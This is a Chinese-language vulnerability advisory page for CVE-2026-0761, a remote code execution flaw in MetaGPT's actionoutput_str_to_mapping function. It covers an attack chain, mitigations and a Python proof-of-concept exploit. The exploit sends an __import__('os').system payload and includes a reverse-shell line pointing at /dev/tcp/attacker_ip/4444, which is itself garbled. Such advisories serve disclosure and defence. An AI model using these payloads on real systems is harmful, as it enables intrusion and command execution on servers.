IPBUF安全漏洞报告
English
CVE-2026-0761 CVSS 9.8 严重

CVE-2026-0761 MetaGPT actionoutput_str_to_mapping 远程代码执行漏洞

披露日期: 2026-01-23

漏洞信息

漏洞编号
CVE-2026-0761
漏洞类型
远程代码执行
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Foundation Agents MetaGPT

相关标签

CVE-2026-0761远程代码执行代码注入MetaGPTFoundation AgentsZDI-CAN-28124高危漏洞Python代码执行无需认证CVSS 9.8

漏洞概述

CVE-2026-0761是Foundation Agents MetaGPT中的一个严重代码注入漏洞,CVSS评分高达9.8分(满分10分)。该漏洞存在于MetaGPT框架的actionoutput_str_to_mapping函数中,由于缺乏对用户输入字符串的正确验证,攻击者可以构造恶意载荷并通过该函数执行任意Python代码。此漏洞无需任何认证即可被利用,攻击者可以通过网络远程触发,成功利用后可获得服务器服务账户的权限,执行系统命令、安装后门、窃取敏感数据等恶意操作。由于MetaGPT是用于自动化多代理协作的AI框架,被广泛用于企业级应用开发环境中,因此该漏洞对使用该框架的企业和个人开发者构成严重威胁。建议受影响的用户立即采取修复措施或应用临时缓解方案。

技术细节

该漏洞的核心问题在于actionoutput_str_to_mapping函数对用户提供的字符串数据缺乏安全验证就直接用于Python代码执行。攻击者可以通过构造特定的输入字符串,利用Python的eval()或exec()等危险函数执行任意代码。具体来说,当用户提交的数据被传递到actionoutput_str_to_mapping函数时,该函数直接将这些数据作为Python表达式进行评估,而没有进行任何输入清理或沙箱隔离。攻击者可以利用Python的对象注入机制,通过构造特殊的字典或字符串对象,触发__import__或其他危险函数调用,从而实现远程代码执行。在实际攻击场景中,攻击者通常会发送包含恶意Python代码的HTTP请求,这些请求会被MetaGPT框架解析并传递给存在漏洞的函数,最终导致攻击者的代码在服务器端执行。

攻击链分析

STEP 1
步骤1
侦察阶段:攻击者扫描互联网或内部网络,识别运行Foundation Agents MetaGPT的服务器,并确认目标版本是否存在actionoutput_str_to_mapping函数
STEP 2
步骤2
载荷构造:攻击者构造包含恶意Python代码的请求载荷,利用__import__()函数或eval()/exec()调用链来执行系统命令
STEP 3
步骤3
漏洞利用:攻击者通过HTTP API或相关接口发送精心构造的请求,将恶意载荷传递给存在漏洞的actionoutput_str_to_mapping函数
STEP 4
步骤4
代码执行:漏洞函数对用户输入缺乏验证,直接将恶意字符串作为Python代码执行,导致攻击者的任意代码在服务器上运行
STEP 5
步骤5
权限提升与持久化:攻击者获得服务账户权限后,可进一步植入后门、窃取数据、建立持久化控制通道

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # CVE-2026-0761 PoC - MetaGPT actionoutput_str_to_mapping RCE # Target: Foundation Agents MetaGPT # Vulnerability: Code injection via actionoutput_str_to_mapping function TARGET_URL = "http://target-server:8080/api/execute_action" def exploit_cve_2026_0761(target_url): """ Exploit for CVE-2026-0761 This PoC demonstrates how to inject arbitrary Python code through the vulnerable actionoutput_str_to_mapping function. """ # Malicious payload that executes system command # The payload leverages Python's __import__ and os.system malicious_payload = "__import__('os').system('whoami')" # Alternative payload for reverse shell reverse_shell_payload = "__import__('socket').socket().__import__('subprocess').call(['/bin/bash','-i','&','/dev/tcp/attacker_ip/4444','0>&1'])" # Construct the exploit request exploit_data = { "action": "output_str_to_mapping", "input_data": malicious_payload, "agent_id": "test_agent" } try: response = requests.post( target_url, json=exploit_data, timeout=10, verify=False ) print(f"[*] Request sent to {target_url}") print(f"[*] Status code: {response.status_code}") print(f"[*] Response: {response.text}") return response.text except requests.exceptions.RequestException as e: print(f"[!] Error: {e}") return None def check_vulnerability(target_url): """ Check if target is vulnerable to CVE-2026-0761 """ test_payload = "__import__('sys').version" exploit_data = { "action": "output_str_to_mapping", "input_data": test_payload } try: response = requests.post( target_url, json=exploit_data, timeout=10 ) if response.status_code == 200 and "python" in response.text.lower(): print("[+] Target appears to be vulnerable!") return True except: pass return False if __name__ == "__main__": print("CVE-2026-0761 MetaGPT RCE Exploit") print("=" * 50) # First check if target is vulnerable if check_vulnerability(TARGET_URL): print("[+] Launching exploit...") exploit_cve_2026_0761(TARGET_URL) else: print("[-] Target may not be vulnerable or is unreachable")

影响范围

Foundation Agents MetaGPT < 修复版本
MetaGPT 所有包含actionoutput_str_to_mapping函数的版本

防御指南

临时缓解措施
在官方补丁发布之前,建议采取以下临时缓解措施:1)立即限制MetaGPT API的网络访问,仅允许受信任的IP地址访问;2)通过Web应用防火墙规则拦截包含__import__、eval、exec等危险函数的请求;3)在应用层实现输入白名单机制,只允许安全的字符和格式通过;4)考虑临时禁用存在漏洞的功能模块;5)部署运行时保护系统(如RASP)监控和阻止动态代码执行行为;6)加强网络隔离,将MetaGPT服务部署在独立的隔离网络区域;7)实施严格的日志监控,及时发现和响应可疑的攻击尝试。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表